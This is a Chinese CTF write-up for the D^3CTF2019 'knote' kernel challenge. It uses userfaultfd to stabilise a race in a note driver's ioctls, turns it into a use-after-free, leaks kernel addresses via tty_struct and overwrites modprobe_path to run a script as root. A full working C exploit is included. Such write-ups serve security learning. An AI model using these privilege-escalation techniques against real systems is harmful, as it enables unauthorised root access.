D^3CTF2019-knote-WP

Posted on Jul 13, 2021

本博客的第 200 篇文章,[font color="#FA8072"] cheer! [/font]

这道题是老学长 Aris 出的,借着这道题学习了一下用 userfaultfd 机制稳定条件竞争的方法。我确实还是比较菜,又是完全照着 ha1vk 师傅的文章linux kernel pwn学习之条件竞争(二)userfaultfd学习的。

userfaultfd 机制

这个机制给予了用户自己处理缺页异常的能力,原意是提高开发的灵活度,据说在虚拟机相关的开发上很有用。在这里的利用我们只需要用它能够暂停线程执行的能力即可,所以就不深入了,具体的可以参考 man 手册,同时也有使用的分析文章

ha1vk 师傅给了一个注册 handler 的模板,俺也不懂,就照抄了

void err_exit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features    = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		err_exit("[-] ioctl-UFFDIO_API");

	ur.range.start = (unsigned long)fault_page; //我们要监视的区域
	ur.range.len   = PAGE_SIZE;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
        //当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
		err_exit("[-] ioctl-UFFDIO_REGISTER");
	//开一个线程,接收错误的信号,然后处理
	int s = pthread_create(&thr, NULL,handler, (void*)uffd);
	if (s!=0)
		err_exit("[-] pthread_create");
}

然后是 handler 的写法,开头是一些模板化的操作

void* userfaultfd_leak_handler(void* arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long) arg;
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);

定义一个 uffd_msg 类型的结构体在未来接受消息。

需要一个 pollfd 类型的结构体提供给轮询操作,其 fd 设置为传入的 arg,events 设置为 POLLIN。然后执行 poll(&pollfd, 1, -1); 来进行轮询,这个函数会一直进行轮询,直到出现缺页错误。

然后需要处理缺页

	sleep(3);
	if (nready != 1)
	{
		ErrExit("[-] Wrong poll return val");
	}
	nready = read(uffd, &msg, sizeof(msg));
	if (nready <= 0)
	{
		ErrExit("[-] msg err");
	}

	char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
	{
		ErrExit("[-] mmap err");
	}
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long) page;
	uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] leak handler done");
	return NULL;
}

注意在开头加入了 sleep 操作,在 poll 结束返回时就代表着出现了缺页了,此时 sleep 就可以起到暂停线程的效果。然后进行一些判断什么的,并 mmap 一个页给缺页的页,都是模板化的操作。此处 mmap 的内存在缺页时有自己的处理函数,所以不会一直套娃地缺页下去。

我们这里在遇到返回值错误的时候就直接错误退出了,在工程上应该会讲究一些,还会在外面套一个大死循环什么的,这里就不多说了,毕竟我们只需要利用它把线程暂停就可以了。

分析

驱动主要注册了 ioctl 操作,实现了一个笔记管理器,有增删查改的功能。除了 edit 和 get 操作之外每个操作都有锁保护,所以不难想到在 edit 和 get 中可能存在条件竞争

edit 和 get 只在拷贝方向上有区别,就不放 get 了

以 edit 为例,由于执行时没有加锁,所以 edit 操作遇到中断时,别的操作也可以访问、修改 edit 使用到的全局变量。如果在执行 copy_user_generic_unrolled(v1, mychunk.ptr, v2->_anon_0.size) 前,edit 线程被中断,buf[v0].ptr 被别的线程修改(注意这里不是指 ptr 被修改,而是指 ptr 指向的内存的所有者被修改),那么就会把 mychunk.ptr 中的数据复制到一个非法的地址中。当然由于一个复制的操作执行起来很快,这种被修改的可能性比较小,但是如果有了 userfaultfd,就可以延长此线程的执行时间,给予别的线程足够的时间来修改 buf[v0].ptr。

具体的来说,我们用 mmap 来申请 mychunk.ptr 所指向的内存块,此时此内存块还未分配物理页框,我们为它注册一个 userfaultfd handler,在这个 handler 中我们用 sleep 暂停此线程的执行一段时间,然后在执行 copy_user_generic_unrolled 的时候就会触发缺页异常,执行我们的 handler,这段时间别的线程使用 dele 方法把 buf[v0].ptr kfree 掉,handler 结束后就可以实现 UAF 了。

get 也可以用同样的方法利用。

利用

既然能通过条件竞争创造 UAF,那么利用其实就相对容易了,一般可以考虑通过 tty_struct attack 实现提权,当然这种方法比较繁琐,ha1vk 提到了一个更加容易的利用方式,即劫持 modprobe_path 的方法。此方法的详细介绍可以参考这篇文章(英文)也有翻译版本。简单的来说就是在我们通过 system 函数执行一个未知格式(即无法识别魔数)的文件时,内核会以 root 权限执行 modprobe_path 路径(此路径默认为 /sbin/modprobe)指向的文件,如果我们能把 modprobe_path 修改为我们的恶意脚本的路径,然后通过 system 执行一个未知格式文件,就可以以 root 权限执行一些指令,就可以实现利用了。

那么做法就是先通过 UAF leak 出 modprobe_path 的地址,tty_struct 中存储了大量内核地址,可以通过其中的数据来泄露并计算得出。

然后再通过一个 UAF 修改一个空闲 chunk 的 next 指针,通过类似 tcache poisoning 的手段覆写 modprobe_path,使之指向一个我们提供的恶意脚本,修改 flag 的权限为所有用户可读即可得到 flag。

exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define PAGE_SIZE 0x1000
#define TTY_STRUCT_SIZE 0x2E0

size_t modprobe_path;

struct CHUNK
{
	union 
	{
		unsigned int size;
		unsigned int idx;
	};
	char* buf;
};

void get(int fd, char* buf, int idx)
{
	struct CHUNK arg;
	arg.idx = idx;
	arg.buf = buf;
	ioctl(fd, 0x2333, &arg);
}

void edit(int fd, char* buf, int idx)
{
	struct CHUNK arg;
	arg.idx = idx;
	arg.buf = buf;
	ioctl(fd, 0x8888, &arg);
}

void dele(int fd, int idx)
{
	struct CHUNK arg;
	arg.idx = idx;
	arg.buf = NULL;
	ioctl(fd, 0x6666, &arg);
}

void add(int fd, int size)
{
	struct CHUNK arg;
	arg.size = size;
	arg.buf = NULL;
	ioctl(fd, 0x1337, &arg);
}

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void RegisterUserfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features    = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API");

	ur.range.start = (unsigned long)fault_page; //我们要监视的区域
	ur.range.len   = PAGE_SIZE;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
		ErrExit("[-] ioctl-UFFDIO_REGISTER");
	//开一个线程,接收错误的信号,然后处理
	int s = pthread_create(&thr, NULL,handler, (void*)uffd);
	if (s!=0)
		ErrExit("[-] pthread_create");
}

void* userfaultfd_leak_handler(void* arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long) arg;
	puts("[+] leak handler created");
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	sleep(3);
	if (nready != 1)
	{
		ErrExit("[-] Wrong poll return val");
	}
	nready = read(uffd, &msg, sizeof(msg));
	if (nready <= 0)
	{
		ErrExit("[-] msg err");
	}

	char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
	{
		ErrExit("[-] mmap err");
	}
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long) page;
	uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] leak handler done");
	return NULL;
}

void* userfaultfd_haijack_next_ptr_handler(void* arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long) arg;
	puts("[+] write handler created");
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	sleep(3);
	if (nready != 1)
	{
		ErrExit("[-] Wrong poll return val");
	}
	nready = read(uffd, &msg, sizeof(msg));
	if (nready <= 0)
	{
		ErrExit("[-] msg err");
	}

	char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
	{
		ErrExit("[-] mmap err");
	}
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	memcpy(page, &modprobe_path, 8);
	uc.src = (unsigned long) page;
	uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] leak handler done");
	return NULL;
}

int main()
{
	int knote_fd = open("/dev/knote", O_RDWR);
	if (knote_fd < 0)
	{
		ErrExit("[-] knote open failed");
	}

	// leak kernel addr;
	add(knote_fd, TTY_STRUCT_SIZE);
	size_t* leaked_data_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (leaked_data_buf == MAP_FAILED)
	{
		ErrExit("[-] map err");
	}
	RegisterUserfault(leaked_data_buf, userfaultfd_leak_handler);
	int pid = fork();
	if (pid < 0)
	{
		ErrExit("[-] fork err");
	}
	else if(pid == 0)
	{
		// child
		sleep(1);
		dele(knote_fd, 0);
		int tty_fd = open("/dev/ptmx", O_RDWR);
		if (tty_fd < 0)
		{
			ErrExit("[-] err open ptmx");
		}
		close(tty_fd);
		exit(0);
	}
	else
	{
		// parent
		get(knote_fd, (char*)leaked_data_buf, 0);
		if (leaked_data_buf[74] == 0)
		{
			ErrExit("[-] leaking err");
		}
		// for (int i = 0; i < 0x60; i++)
		// {
		// printf("%d: %lx\n", i, ((size_t *)leaked_data_buf)[i]);
		// }
		size_t release_one_tty_addr = leaked_data_buf[74];
		modprobe_path = release_one_tty_addr + 0xE88A30;
		printf("[+] leaked release_one_tty_addr: 0x%lx\n", release_one_tty_addr);
		printf("[+] leaked modprobe_path_addr: 0x%lx\n", modprobe_path);
	}
	sleep(2);
	// write modprobe_path to a next ptr
	add(knote_fd, 0x100); // idx 0
	size_t* write_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (leaked_data_buf == MAP_FAILED)
	{
		ErrExit("[-] map err");
	}
	RegisterUserfault(write_buf, userfaultfd_haijack_next_ptr_handler);
	pid = fork();
	if (pid < 0)
	{
		ErrExit("[-] fork err");
	}
	else if(pid == 0)
	{
		// child
		sleep(1);
		dele(knote_fd, 0); // cause UAF
		exit(0);
	}
	else
	{
		edit(knote_fd, (char*)write_buf, 0); // UAF
	}
	// haijack modprobe_path
	sleep(2);
	char script_path[0x100];
	add(knote_fd, 0x100); // idx: 0
	add(knote_fd, 0x100); // dup to modprobe_path
	                      // idx: 1
	strcpy(script_path, "/tmp/get_flag.sh");
	edit(knote_fd, script_path, 1); // modprobe_path -> /tmp/get_flag.sh

	system("mkdir -p /tmp");
	system("echo '#!/bin/sh' > /tmp/get_flag.sh");
	system("echo 'chmod 777 /flag' >> /tmp/get_flag.sh");
	system("chmod +x /tmp/get_flag.sh");

	system("echo -e '\\xFF\\xFF\\xFF\\xFF' > /tmp/fake_elf");

	system("chmod +x /tmp/fake_elf");
	system("/tmp/fake_elf");
	system("cat /flag");
	sleep(3);
	return 0;
}

虽然使用了 userfaultfd 来提高竞争的成功率,但是仍然需要多次尝试才能成功